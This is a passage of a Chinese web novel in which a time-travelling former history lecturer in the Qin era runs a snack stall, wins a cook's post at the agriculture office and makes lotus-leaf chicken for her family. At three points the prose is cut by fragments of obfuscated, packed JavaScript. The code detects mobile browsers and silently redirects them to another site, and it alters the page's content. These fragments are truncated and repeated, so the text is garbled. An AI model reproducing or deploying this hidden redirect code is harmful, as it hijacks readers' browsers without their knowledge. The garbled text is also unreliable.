李卉拿到手里，感受到了钱的份量，更是觉得这是她跟本地商铺建立联络的第一家，多少她都愿意，于是她道了谢，“承蒙梁老板错爱，我一定按时交货。” “不过，梁老板”，李卉作欲言又止状，“我能否提一个不情之请？” “好，小娘子请讲。”梁记粥铺的老板自然姓梁，他乘了李卉的情，此刻已经比这些时日的脸色和蔼多了。 做生意嘛，最讲究和气生财。说笑着就能把生意谈了，何至于剑拔弩张呢？ “就是我想……做个“卉娘小吃摊”的木牌，离在我摊位跟前，然后还要麻烦您，在食客们吃到店里的豆腐丝后，告知他们，您是从我这里进的货……” 此举有让梁老板帮忙打广告之嫌，但他却答应得十分爽快： “成，下次市集之前，我便着人帮你做好。后面你也不必拿回去，就跟炭火炉子一并都放在我店中。哦对了，还有这几次借你的条案，往后你就拿着用吧。” 李卉此刻对一句话深信不疑——“钱不能一个人全部赚完，要大家一起赚”。 “多谢了，多谢”，李卉心中感动，又红了眼眶，临走前都还不忘卖回惨，“梁老板高义，我兄长近日外出了，家中更是忙不过来，正愁没地方找木料来写呢……” “好说，好说”，梁老板心情也很不错，认为解决了眼前小娘子的燃眉之急，“不过，小娘子，你今日怕最好少拿些东西回家吧？午后的雨便一直下，你又是孤身一人，怕路上泥泞不好走哦！” 李卉本来正沉浸在以后每天一睁眼，她就是有七百五十钱入账的李掌柜了！ 可梁老板的话提醒了她，阿嫂有事回了娘家，未来一两次市集怕都要她独自一人摆摊。尤其到了四月末，天就跟漏了一样，成天阴雨绵绵的。 “那我……若是把所有的家当都放您店中，您会不会觉得我太贪心了……” 17.烤蚕蛹 此话一出，梁老板倒是没觉得她有多贪心，反倒觉得她能够审时度势， “小娘子是个妙人。” 跟她打了交道，才知道当初在市集入口处，利用人多，再引得城门守卫替她造势，便也不觉得有何奇怪之处了。 那边梁老板的腹中言语，李卉自然是不能知晓的。 虽然她只背了个背篓，披着蓑衣，但脚上穿的那双草鞋，依然让她寸步难行。 “哎——”李卉仰天长叹，平等地想念起前世每一次下雨时一定会有的雨衣、雨披，甚至出租车的好日子。 “哎哟……”突然，她脚拇指没有抠紧，还没走几步路，就摔倒在了稀泥坑中。 有句话怎么说的来着，“一不留神，摔了个大马趴”，在此刻具象化了。 好在城门守卫处没什么人看到她的窘境，因为今日市集因为下雨关得比平时早些——不过慢着，市集关了？！ 天呐，她顾不得满身泥泞，赶紧爬起来，简直是四脚并用地往市集门口奔去。 “等一下，等一下——”她边跑边喊。 城门处的守卫都认得她，李卉晃了一眼，并未发现公子幸。 她突然就觉得松了一口气，心中道了一声“还好，还好”。 三四个守卫下来，其中一个还拿了一双木屐，另一个拿着一把鱼骨伞。 看来这些东西都是给她的，李卉心中很是感动，甚至又夹杂着一丝冲动，要给市集守卫们过来买东西时，减免两钱。 不过，她最终没有说出口——理智战胜了她的冲动。 “守卫们都是吃公粮的，我们平头百姓也是交了租税，他们便有理由这样做了！” 她之前的减免是情义，如今守卫们的举手之劳则是公义。 可直到她穿上那双木屐，厚厚的鞋底紧紧地抓着湿滑的地面，让她不再担心自己会滑倒出尽洋相，她这才回过神来想—— “他不过跟我数面之缘，为何方才见他不在，我会觉得甚是轻松？” 然后背影一顿，李卉心道“不妙”，莫非是原身残存在体内的情识萌芽了？ 她赶紧左右摇摆着脑袋，就想把这个想法从脑子里甩出去—— “李卉，不可以，绝对不可以，听见了吗？如果穿越到大秦，你却谈起情说起爱来，那就太糟糕了！” 而此刻市集城楼上也有一个人，一直静静地看着这一幕。 虽然听不到她在说什么，却看着她气急败坏到抓耳挠腮，倒莫名有一丝快意。 “我说阿幸啊，方才明明是你最先看到了摔倒的卉娘子，为何却又要跑上楼来，让哥几个去帮你带东西？” “怕吓到人家小娘子嘛”，公子幸喃喃自语，“万一她一激动，又要给咱们减免，这不是存心为难她的小本生意嘛！” 旁边几个人都比他要大上些年岁，其中有一两个已经娶妻生子。或许其他青瓜木疙瘩脑袋还有些摸不着头脑，但这两个老大哥就已经感觉到了什么。 守卫营中都是男子，也都时血气方刚，公子幸已年过十八，看着那小娘子应是还未及笄，可男子大上女子几岁，也是婚配常见之事，莫非…… 他们却都看破不说破，默契地各自在公子幸左右两边肩膀上意味深长地拍了拍： “人都走远了，你还看什么呢？走吧，早就过了下值的时候啦！” 公子幸转过来，面色有些微红，摸了摸鼻头，顿了顿， “兄长们先走一步，我这就来。” 而等李卉这边回到家中，却也知道了，为何阿爹今日会忘了来接她。 因为她才走到院门口，就听到了院内有生人的声音—— “司农监大人，您请先喝口茶”，阿爹正在应对，“蚕茧诸般事宜，皆由我家娘子细细算来秉明。” 哦，原来之前预备着可能回来的司农监大人，真的上门来收蚕茧和生丝了。 李卉自知这件事她作为小女插不上话，于是她便轻手轻脚，从前院拐弯进了自己院内，换了干净衣物后，又喝了一碗热茶，躺在木板床上正准备浅眠。 阿娘却来敲门：“卉娘，你回来了吗？你爹让你去前院一趟。” 李卉心下狐疑，“卖蚕茧是大事，爹娘定夺了就好，为何定要我去？” “说是司农监大人要见你。” 嗯？ 从后院到前院的一段路中，李卉把自己近来所有行径都想了一遍，也没发现有何不妥之处。况且司农监向来也是不管市集诸事，那这又是要干什么呢？ 平头百姓见官家小吏，心中无不惴惴不安。尤其是在大秦。 于是她从踏进前院时起，就凭着原身残留体内的一些礼仪常识，见到司农监就开始行礼。反正礼多人不怪嘛。 “未知大人亲临，民女有失远迎，万忘谢罪。” “不必多礼”，司农监是个年富力强的中年人，说话虽然慢了些，却丝毫不影响他的干练，嘴上也不忘夸了几句爹娘，“老丈倒是养了个知书识礼的好女儿啊。” 于是一家人又是一番诚惶诚恐地推卸一番，这才进入正题。 “是这样的”，司农监大人轻咳了两声，才说出了内心的盘算。 原来他是暮食前的时辰来的，虽然他也没有打算要在他收蚕茧的人家里用饭，但因为今日下雨，阿娘和阿嫂忙完后，做饭也弄得早一点，还有阿爹也想早点吃了去市集上接她，所以总而言之，言而总之，司农监大人便真的留着用了一餐饭。 然后用饭的结果就是，连着吃了好几块石磨豆腐，又尝了几块凉拌豆腐干丝，阿娘还去梁上提了半只风干兔来，准备一并送给司农监。 还有她前两日，做来当零嘴吃的烤蚕蛹。 那东西前世也有人吃不惯，但她却是它们的头号粉丝。况且再过些时日，阿嫂也回来了，所以她就多做了阿嫂的那一份，而今日阿嫂的那一份拿来招待了贵客。 一听说司农监也爱吃这样奇奇怪怪舀下去满嘴油脂和高蛋白的东西，她顿时没有初见时的紧张。 然后眼尖的她发现了司农监鼓囊囊的背囊，而他从家中收走的蚕茧和生丝都在地上的一挑担子里。 她明白了，司农监这是“吃人嘴短，拿人手软”，既然不能在生丝和蚕茧规定的收购价格上进行回馈，但却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266790|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以用其他方式“投桃报李”嘛： “前几日，我们后厨的一位厨娘辞了工，你可否愿意一试？” 哇，不知不觉间，今日竟然是双喜临门，李卉见屋内所有人都翘首以盼，嘴上说得倒甚是谦虚，“民女愿意，多谢大人。” 她说完，自己内心松了一口气不说，家人更是觉得喜气洋洋，以爹娘为首的长辈代表她做了总结性陈词：“多谢大人青眼，草民一家定不负所托。” 随后，司农监赞许地点了点头，“不必言谢，是令爱厨艺确实过硬，想到今日的这些新鲜菜式，你们日日都能吃到，我还颇为嫉妒呢！” 李卉闻言垂首，刚要说“哪里哪里”，便听那人又拿腔拿调打起官腔来： “不过，这次县里司农监缺厨子，是在我们官署门口贴了告示的，届时定有其他人与小娘子比拼，期待你一举夺魁！” 对于升斗小民来说，官员们的雷霆雨露皆是恩德。 虽然她心里把这位虚荣的官场小吏从头骂到了脚：说不定他每到一户人家去收蚕茧，对方必定会有所表示，不然像阿爹阿娘如此老实本分又一心务实的人，怎么会把“送礼”做得如此巧妙而丝滑？ 所以不管她内心看得有多透，但好在他给自己透露了这个口风，她有信心，自己定能如愿以偿。 礼貌而客气地将人送出二里地后，再折回来，李卉觉得，阿爹的背都要比平日里挺得更直了些—— “那可是官署衙门啊，之前去学宫做饭，都觉得不可思议了，如今这回竟又有了可以去司农监做饭的机会……”阿爹虽木讷，却丝毫不影响此刻说出大家的高兴和惊讶。李卉笑得也很高兴，“那爹娘要不要听，我还带回来了什么消息？” 见她如此春风得意，阿娘还担心她是太过于招摇了，恐招来不必要的是非。 可听她说完与梁记粥铺的生意，就更加喜上眉梢： “太好了，太好了！阿卉带着我们的小吃摊，闯出些明堂了！” 阿爹又表示对粥铺梁老板免费赠送她一块招牌木板觉得是不是太过张扬，又听了李卉跟他说自己做生意上的一些不涉及原则退让的让步后，言语表达上只剩下了“通透”二字——李卉觉得这个词语太过过于老气横秋，好似不是形容她这个十二岁小女儿的词语，但总归是很好的。 “方才阿娘特意留下了两卷生丝，一定要给你们再做身夏衣。” 阿娘向来说话最有分量，大家都无从反驳。 然后又到了全家一齐分钱的激动人心的时刻。 虽然大哥大嫂都分家别住，但因为大哥总是在外，大嫂忙完小家还要过来帮忙，所以方才从司农监那里拿到的新鲜的三千钱，给了阿嫂和她各一成。 她的三百钱是当场给的，阿嫂那份自然要等她回来。 谁都不会假客气，这一点是李卉最喜欢这一世的原生家庭的一点。 她的小金库又多了一笔进账啦—— 她觉得自己现在并无退路可走，所以一定要赢得司农监后厨厨娘一职。 因为，她不想再像今日这样狼狈，想要租一个铺子的心思在心里悄悄发芽啦！ 18.豆汤麦饭 司农监针对新厨子的考究，定在十日之后。 那时都是五月初，夏日正热，如果选上了，按当日司农监所说，每日都不用坐班，只用每日去做一顿暮食，其他的都不受影响，做得好，说不定还另有赏钱。 怎么看，怎么都像是一桩顶顶划算的买卖。 可李卉自己却觉得，比起上次给学宫做饭，这回的压力倒要更大一些。 上次虽然是头一回，却好歹只有两日，对象也只是大秦帝国未来的公务员；可这回实打实的是大秦帝国现任公务员，一个是官场老油条，一个是愣头青，这压力简直不可同日而语啊。 而且最要紧的，还有大秦严苛的连坐之法。 要是她一不小心得罪了谁，她受苦受累倒是没关系，就是怕连累家人。 一向惜字如金的阿爹，此刻却出言打了她这个前世是秦汉学历史讲师的脸： “阿卉这倒不必过于担心，只要我们用心做事，官署也不会轻易就怪罪的。” 李卉嘴上称是，心中却不这么想—— 那要不然历史上的史学家们怎么会在“秦”字前头加上“暴”字呢？ 她从小读的什么《孟姜女哭长城》，绝对不是空穴来风啊！ 况且，她第二日不逢集的那一天，专门去了司农监一趟，报的名。 这正是那小吏的授意。 这世尽管才十二岁的豆蔻少女，可前世没少在职场上混过，自然是知道那小吏是不想被牵连，这下更加坐实了她不是唯一被告知去选的那一个。 这不，在司农监衙署门口，她看到同样一个和她身量差不多高的小女娃。 “司农监到我家去收蚕茧，亲口吃过我做的打卤汤饼，说劲道弹牙，特意举荐我来试一试呢！” 虽然她与自己是耳语，李卉想的却是，得，好一个心无城府的姑娘。 不过现在她也没多少心思去管他人的瓦上霜，走了一趟官署，心里变得更紧张了——本来想打探一二，告示上却明确地写着“届时现场考教，无论何人均不可提前知晓。” 十日之内，便是三次市集，再加上给梁记粥铺送了三回豆腐干，梁老板也果真讲义气，不光是把“卉娘小吃摊”的木牌做好了，还额外给了她一个二手的餐车架子。这可是帮了大忙。 可因为心中有事，少不得礼数上边就欠缺了些。慌忙之中竟然忘记了道谢。 “小娘子，莫非你又遇上了什么难事？”那梁老板一来二去倒也是真心想帮助她这位小友，故而有此一问。 “倒也没有”，李卉不太想在尘埃落定之前就太过招摇，便打了个哈哈一笑置之。 这么一说之后，她才回过了些神，忙不迭地作揖致谢。 那梁老板见她如此，便心下觉得小女娘挣钱不容易，就让她每日都把所有家当都可以放在粥铺，“反正现在你也在我家铺子廊下，再搬进来一些，归置归置，倒也不是什么大事儿。” 此刻梁老板在她眼中简直跟慈眉善目的菩萨没什么两样。 “阿娘和阿嫂一直都跟我说起梁老板您的高义”，因为之前她还没穿过来的时候，阿嫂和阿娘便在粥铺跟前摆摊，也是遇到糟糕天气就都一并将物品存放店中，还从未收取过文。而更不用说自己时常还给老板拿点端点什么，梁老板的“高义”也是做得更顺水推舟啦。 去官署试菜对于整个家庭来说都是大事，阿娘近期没再接新订单，想着大家一起过了这个关卡再说；而她更是请人写了一封家信到大嫂娘家，信上的意思则是道了抱歉，让她尽快回来帮衬；阿爹除了忙活农活，见天儿就去西山打猎，回来后还想跟她学如何揉面如何做豆腐，反正也是在以自己的方式帮衬着她。 若说是生身父母，李卉感动也就罢了，但阿嫂平白被她累及，又要回来受累，这便是她心中不忍之处。 “阿娘，知道的就说家中有事；不知道的还以为是我们存心的呢！” “无妨的”，阿娘宽慰她道，“阿娘把家中实际都一一说明了，之前也都是如此。” 哎，也是，大哥常年不在家，阿嫂就是家中的顶梁柱啊！ 不过看到原生家庭的大家都如此给力，李卉的紧张倒是缓解了不少。 她心下一横，想到自己前世好歹也是个美食大V，如果遇到考官出些刁钻考题，她就把前世的一些美食良方拿来活用一番，这也算不上抄袭。 “阿爹阿娘放心，卉娘定会拼尽全力，让我们大家的日子都越过越好。” 大嫂是在接到信后的第三日回来的。 见到大嫂的这一瞬间，李卉做了一个决定： “大嫂，我去试菜那日，正好是市集。你一人去，可行吗？” 因为她想毕其功于一役，就不让摆摊这件事情在当天影响她的主要大事。 大嫂却面露了犹豫，“这要说从前只卖蒸饼，我一人或许可以；但如今小吃摊上新添了那么多的花样，我一人或许有点力不从心……” 阿娘便在一旁补充道：“这日我也不织布，到时候我也去。” “对嘛”，李卉心头一块石头落了地，她知道阿娘过来帮忙只是权宜之计，以后小吃摊还是得靠大嫂和她才行。 而且一旦应聘成功，她可不想顾头不顾尾，现在就得开始慢慢筹谋打算呢！ “以后做大做强都是靠自家人呢！” 当然如果最终结果不如人意，她以后反正要租铺子开店，阿嫂会的越多，能帮她的地方就更多嘛。 大嫂果然十分高兴，她直说要对得起小妹的信任，简直是泪眼汪汪。 她在娘家这段时日，自然又是听了个不少姑嫂、妯娌和婆媳矛盾的家事，要不是阿娘的那封信来，她正愁找不到理由脱身呢。 而得知前因后果的李卉，知道自己无意间还做了件好事，就更加心无挂碍。 “卉娘，以后你成了亲便知道，这里头的事情真的是一箩筐呢！” 大嫂言语间连连感叹自己多么幸运，说遇到的人都很好，李卉却有些难为情，看来大嫂是把从前原身和自己的龃龉都一并忘记啦！由此可见大嫂是一个良善之人，人品端方，是一个很能值得信赖的合作伙伴： “还不是因为大嫂你人好……先前我多有混账，阿嫂辛苦了。” “嗨”，阿嫂摆摆手，“卉妹怎么又提从前嘛……不提了，不提了。” “好，不提，不提。” 试菜考较就在明日，李卉便只剩这件事情操心。 这几日真是茶不思饭不想，爹娘和大嫂都看不下去了，轮番过来安慰她： “成就成，不成就不成，反正咱们还有个小摊儿，不成的话还不那么累人呢。” 哎，所有的这些劝慰李卉都照单全收，但有句话怎么说的来着，听了很多道理依然过不好这一生，都怪她的心理素质不太好啊。 这日午后，便有司农监的衙役过来通报，明日考核定在日中。 李卉想也好，考不上还不耽误回来吃暮食。 不过她心里还是很想被选上，因为做一顿饭就是二十钱，有些人劳作一天，比如说那些去修长城的，一天也才七八钱的工钱呢！ 最重要的这个进项就是细水长流，讲究的就是每日都有进项，还是官邸衙门，多少人都眼红的差事呢。 十日终了，正式考核才开始。 为了缓解焦虑，她吃了朝食便和去市集的大嫂一同出了门。 五月初的时令风物，一切都欣欣向荣，天气也好，虽然有些日头，却不怎么晒人，农田里的庄稼更是长势喜人，不用说今年一定有个好年景啊。 “也希望今日我能一举夺魁。” 到了司农监，一位颇为严厉的考官出的考题也颇为别致。 “请诸位用面前的豆子做出一道主食来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273177|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李卉以为像前世看的那些网络小说里的女主那样，可以拥有一大屋子的食材供她选择。结果到了她身上，就是按照当日的报名顺序，依次站到某一种豆类跟前。 而轮到她时，就恰好是豌豆。 “豆”在中国古代属于较早食用的主食。 先前她刚穿过来时，阿嫂给她煮的那碗豆饭，李卉现在都还记忆犹新。 所以这次，她便想以豆饭应考。 大秦时，平民百姓吃的豆饭都不怎么可口，李卉便想到底还是用了前世时去某地旅游时无意间在一个街头小巷吃到的豆汤饭，“小小做个改良，也无不可。” 给她的时间是一个时辰，可她光是泡豌豆都花了小半个时辰。 她前世吃到的那碗豆花饭，浇汁浓郁，豌豆软烂，还加了些剁碎的肉糜，吃来口感极佳。 而面前她只有豌豆，并一些常见的调料可以取用，而这一次她又不打算用酱。 她先后将几片薄薄的姜，一勺猪油，还有一勺盐，放进泡好的豌豆里，煮到软烂便放到一旁，接着釜中淘洗麦粒，准备做一碗麦饭来当耙豌豆的浇底。 在等耙豌豆放凉的同时，灶上的麦饭也同时开工地煮着。她接下来的第三步便是切碎了一把霍菜。 此刻的后厨中也没有碎肉末，李卉便只做素菜版的，于是她紧锣密鼓地把双耳釜中加了一瓢清水，等煮开后就下了几勺煮好的耙豌豆，她一边试着咸淡一边调试着豆汤的浓稠度，等到她觉得浓淡合宜时，便下入新鲜的霍菜叶子。 等豆汤煮好时，一旁釜中的麦饭也好了，她用普通的粗粝碗装了一碗饭，再用手稍微做了个形状来，最后再浇以豆汤。 在端出去让考官品鉴之前，她也仔细将这碗豆汤麦饭看了看—— “嗯，品相、成色都有，应当还行吧？” 果然，不到一炷香的功夫，便有人来叫她了。 这次不光是叫了她，还有那日她在司农监门口遇到的那个小女孩子。 来传她的人叫她“荇”，两人同去面对考官，李卉才知道荇做的是红豆汤饼，翻译过来就是红豆面，没有石磨却能在如此之短的时间内想到办法将红豆碾碎做成面条，也是人才一个，所以她便得以入选。 而她正在回味红豆汤饼在家中如何复刻更加成功时，就听到考官在让她自己说今日做豆汤麦饭的理由。 所以她赶忙收敛心神，将方才做菜过程中所想好的一席话全都和盘托出： “我等平民百姓能吃上豆饭藿羹就已是家底殷实，肉食类不可常有，所以我想这也是今日考题的由来。就是想看看我们能否把一道普通的菜肴做出不一般的风味。” “而司农监又司农事，管桑蚕，自然便把民生大计放在心头第一要紧的位置，岂有官吃肉民吃菜之理？自然便要与大家吃得一样。” “而越是简单易得的食材做的饭食，就越容易在普通百姓中间流通开来，这样便会有更多的人吃饱饭，我想这便是各位司农监大人的初心吧。” 她说完这三段话，在场的所有人都屏息凝神了好一会儿。 然后坐在中间席位上的主考官便带头为她鼓掌起来，李卉注意看了一下，这位大人面前的豆汤麦饭早就被他吃了个精光，而又听到了这番说辞，如何能不动容？ 再一个时辰之后，她被通知选上了。 而一同被选上的，则是与她做菜思路有异曲同工之妙的红豆汤饼阿荇。 人前李卉不好张扬，但确实是相当高兴的，所以从司农监院门一出来，拐弯看不到门口守卫的军士后，两个姑娘都击掌相庆。李卉则有更加高兴的理由： “家有千金都要每日进钱一文，更何况家里没有金矿的呢？” 离她把小吃摊变成小吃店的梦想，这是又进了一步呀！ 她巴不得长了飞毛腿，赶紧要回到家中，告诉家人这个好消息。 19.荷叶鸡 不过李卉盘算了一下，从脚程来讲，去市集反倒更近些。 于是她便把身上带的零钱拿出几个来，在司农监门口叫了辆牛车，依依然向着市集而去。 市集的城门大大开着，城门处的守卫们也都十分精神，公子幸也在其中。 嗨，还别说，前世她就是军装控，那身军装穿在身上，再理一个寸头，是个人都会很帅气硬挺。真是长得帅气的都上交国家了。不过说来也是惭愧，前世的她倒是比这世空长些年岁，并无什么恋爱实战经验，故而到了这一世，便也立了个“断情绝爱只搞钱”的人设，但是她隐隐觉得，这个人设的flag可能要倒。 “小娘子留步，例行检查。” 见她迎面走来，公子幸便站直了在她必经之处等她。 这回她没像往常似的肩挑背扛，带了一大堆东西。因为今日她的主线任务不是市集嘛。闻言她便将身上轻便的包袱打开，任由他查验。 包里是一张司农监的契书，还有一套六只的簇新陶碗，见及此，公子幸倒像是想起来什么似的。 前些日子，上头派他去司农监公干，其实也就是蚕茧丰收时本衙的人忙不过来，安县各班底才互相借调通融，他就是那个“幸运儿”，过去帮忙维持了几日秩序。 那时候他便时有听闻司农监的衙役们抱怨，说那么忙，饭菜却并不好吃，只怕是要换了厨子才行。 眼下再看面前的少女满面春风，便知道日后司农监的暮食怕是要被全县的同僚艳羡不已。因为之前他从摊上买回去的肉夹馍，家中长辈很是喜欢。 可李卉并不知道这些，她还纳闷怎么就一个包袱，公子幸却看了这么久。 就算她今日心情好，可耐心也有限，正要出言相问，却听对方道了一声“恭喜”。 “嗯？”李卉不禁思考自己是否喜形过于表露在外，她回答得瓮声瓮气，有种惊喜被人撞破了的无奈之感。 但城门口又不好过于张扬，这可跟在市集摆摊要宣传造势不同，尤其现在又才刚打开一个新的地图，她只好低调地答了一声：“多谢。” 公子幸手一伸，示意放行。 李卉便赶紧往市集东南角去，今日是阿嫂独自一人应对，她得赶快过去帮忙。 一路小跑，初夏本来就热，李卉到时便满头是汗，她见阿嫂还在忙碌，摊位前人又多，她便按下了要立刻分享的心，即时投入到了忙碌之中。 她侧眼看着，阿嫂虽然忙碌但面上却是舒心的笑，光这一点，她便知道今日生意应当不错。等约莫过了一阵食客高峰，两个人才算能歇一口气。 她跟阿嫂把水囊递过去，阿嫂连灌好几口后，才道： “嗨呀，这半日一直悬着的心，在看到你后才最终放下来呢！” “哪里，阿嫂做得很好，应对自如呢。” 带出来的食物几乎都卖光了，她便随便捡了个兔头，放嘴里啃，还不忘夸阿嫂。 “多吃些，司农监也不管饭吗？送那些个碗碟有何用？”阿嫂边埋怨边给她弄了个纯瘦的肉夹馍，为增加风味，她专门把冷吃兔的兔丁剔骨留肉，再加了一勺青花椒酱，就怕李卉不够。 李卉啃兔头啃得满手是油，因为饿极，便不顾形象地拿起冷吃兔版肉夹馍就啃。 就她这吃相，还吸引了两三个买主呢，他们过来时都说摊主自己都吃得这么香，一定要买来吃吃看。 李卉等他们走远，才问阿嫂：“嫂嫂，你都不问我今日结果如何吗？” 听着她着带了些忧郁的哀怨之语，阿嫂倒是笑了：“从你回来帮着切肉的那时候，我就觉得成了，所以我为何还要问啊？” “嘿嘿”，这下轮到李卉摸脑袋了，“那倒也是，那倒也是哈。” 自己被选上，于自己于家人来说都是喜事一桩。 更何况每月还有三日假期，当日工钱还照拿，阿嫂听闻后就再不说那几个碗碟无用，而是专门捧起来，喜滋滋却又压低了声音道： “这哪里是寻常碗碟呀，分明是金饭碗啊！” 李卉见阿嫂前后态度判若两人，简直是哭笑不得。这还只是去司农监当个厨娘，“阿嫂，将来咱们自己铺子开起来，才是真正的金饭碗呐！” “呷，不一样，不一样的。”阿嫂连连否认。 好吧，看来国人的考公基因强大到自古有之，李卉不得不联想到前世自己博后出站找工作的那段时间，在上市公司和大学讲师之间根本不需要左右摇摆，不过最后还是老妈排版，“就去大学，有假期，稳定又轻松，多好。” 稳定倒是稳定了，可轻松也并不轻松啊，熬大夜做课题，头发大把大把掉，简直不是人干的，还不如穿越过来自己摆个小摊。 阿嫂一高兴，就想早收摊。 李卉也看了看日头，知道离市集关门的时辰也不远了。她便帮着收拾收拾，将所剩不多的菜品全部打包装进背篓，其余的就全部寄存到梁记粥铺，却不忙着朝入口处走，而是拐去了市集的其他摊位。 今日有喜，买鱼买鸡，再买了些平日舍不得吃的甜李，提了一路的喜气洋洋。 唯一美中不足的是，虽未到盛夏，日头却很是晒人。已有嗅到商机的摊贩们当街贩卖新鲜荷叶，卉娘很是喜欢荷叶的清香，正欲掏钱把摊上的最后两张买下来，却被告知早就有人预定。 李卉今日心情好，知道做生意也是有行规的，所以并不生气。 只是那小贩也收拾着准备收摊，那两张荷叶却并无人前来认领。 人类八卦吃瓜的天性让她一路跟着到了市集门口守卫驻守处。然后亲眼看他将那两张荷叶交给了公子幸。 “哦莫”，见此一幕，李卉前世的口头禅都出来了，“莫非他还怕晒？” 一瞅那晒得发黑的巧克力色皮肤，也不像那么回事儿啊。 就在她以为周围的人都会和她一样开始在心中或面上哂笑时，却发现这位哥水灵灵地把这两张荷叶都递给了她自己。 哦豁，吃瓜吃到她自己。 碍于公子幸正在当值，且是人都在乎那三分薄面，李卉心中再不愿也不好驳回。 可她如果就这么收了的话，公子幸又是管这一片市集的守卫，将来她的小吃摊有个什么发展，别人都会说自己是不正当的关系来的…… 哎，着实有些难办。 “实在深谢公子，方才这位小哥说您已付了一半的定金，这样，我便全款付了，再让他将定金退于您，可好？” 虽然最后二字看似是商量，实则她快速地将六个钱放他手上，然后逃之夭夭。 公子幸见她飞也似的逃走，尚在回味她留在自己掌中的余温，连个“好”字都没能说出来。 不曾想，李卉花“高价”买的两张荷叶还真是派上了用场。 因为大哥竟然提前回来了，李卉一算日子，这都快五月中了，再不回来家中都又要收麦子也缺人啊。大哥道正是这个理。 “啊，我想起来了，上次大哥出门前我说等你回来我给你做荷叶鸡吃。” 李卉丝毫不提那两张荷叶是如何来的，她也央告阿嫂不要告诉他们。 大哥却道：“如此甚好，卉妹真是重诺。” 又听阿娘问起她今日选聘的结果，李卉志得意满地点了点头。 “哇，我们真是有口福，有司农监的厨娘给我们做饭吃。” 接着他又觉得光有好菜不行，还得配上好酒，于是又问阿嫂要他的行囊，将其中的一小串钱拿出来，“阿卉请我们吃肉，我请你们喝酒。” 那些钱应是大哥这些日子的一部分俸禄吧。 说着便出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了眼不见心不烦，李卉果断地将阿爹的那三张荷叶一股脑全包在方才的两张荷叶外头，这时候釜中的水已烧开，她便将鸡放在蒸笼里，再把蒸笼放在釜中，大火猛烧半个时辰，等鸡肉混合着荷叶的清香弥漫了整个后厨，荷叶鸡便做好了。 酒烫好了，霍菜鱼羹好了，重头戏荷叶鸡一定是整个用荷叶包着，上了桌才一层一层拨开荷叶，再露出那只肥美无比的鸡来。 两个鸡腿却抢先一步被阿娘撕下来，分别给了她和阿嫂；而李卉原本是想给一个给大哥的。 大哥却推辞不受：“这些时日我都不在家中，你们的小摊不仅有了自己的招牌，卉妹还跟粥铺老板做起了生意，眼下卉妹又要到司农监去帮厨，真是了不得呢！” 不用说这些都是她和阿嫂一起做荷叶鸡时，爹娘和大哥絮叨着，就把最近家中的一些大事全都告诉了大哥。 “一家人不说两家话”，李卉说话豪迈得像个儿郎，端起杯中烧酒就要和他们碰杯，“都是为了我们能过上更好的生活！” 第二日不用去市集，但要去司农监上第一天工，李卉没敢喝得太多。 她就坐在席上看着这一世的家人们推杯换盏，心中却逐渐安定下来—— 日子已比她刚穿过来的时候，好上太多，至少只要她愿意，顿顿都可以吃上肉了！她有些醉了，心中难免带上些前世历史学者的“上帝视角”—— 放眼整个漫长的中国古代社会，能顿顿有肉吃，对平民百姓来说，已经是最最最好的了！不过，为了回馈她在这短短三个月中所收到的关心和爱，她决定要让李家的生活过得再好一些！ “正规的小吃摊要赶紧开起来了！”说着便一头栽倒在食案上。 20.出门打猎 第二日晨起，李卉觉得头疼，想来是昨日喝了酒有些宿醉的缘故。 因为过了朝食的时辰，一碗粟米粥配上碟凉拌豆腐干再加上半个全瘦肉夹馍，便是她的早餐，是阿嫂端到她房中的。 食间听阿嫂提起昨日她睡过去之前的最后一句话，她差点一口粥喷出来。 “哈哈哈，我都想铺子想得走火入魔了！” 她惯于自嘲，阿嫂却答得十分认真： “卉妹，开铺子不止是你一个人的事情，你切莫把所有的事情都扛在你的肩上，这样会很累的，昨日我和你大哥商量了，我们拿些出来，这样你手头也宽裕些……” 阿嫂的真诚打动了她，可李卉拒绝得也相当干脆。 不用说，如果她答应了拿大哥大嫂的这笔钱，不多会儿阿爹阿娘也会用同样的说辞来再塞给她一笔钱，“多谢大嫂，但我还是想靠我自己。” 因为她也不是没算过，这些日子摆摊的钱，加上之前伺弄蚕桑，阿娘卖了丝线和蚕茧给她的钱，还有前院里的那十棵桑树结了的桑葚，月底熟透了拿到市场上去卖掉又是一笔钱；还有和梁老板的那笔生意的钱，再加上目前司农监厨娘这个差事的钱，最晚等到今年冬天，肯定就能租得起铺子。 不然秋天还凑合，等到了冬天，还要站在人粥铺屋檐下去摆摊，她想想都直摇头。再怎么勤奋上进，她也不想没苦硬吃啊。 不过自从大哥回来，地里的农活就有了人帮衬，在刀耕火种的初级农耕时代，拼的就是人手，所以两个人比一个人的效率要高得多。 麦田里的除草和施肥这些常规性的活儿，两个大男人根本不需要家中女眷上手，几日之内就能弄得八九不离十。 估摸着天时，麦子很快就要成熟收割了，全家人的心都悬着呢。 “到时候抢收麦子，得全家人一起下地，到时候小摊儿就……” 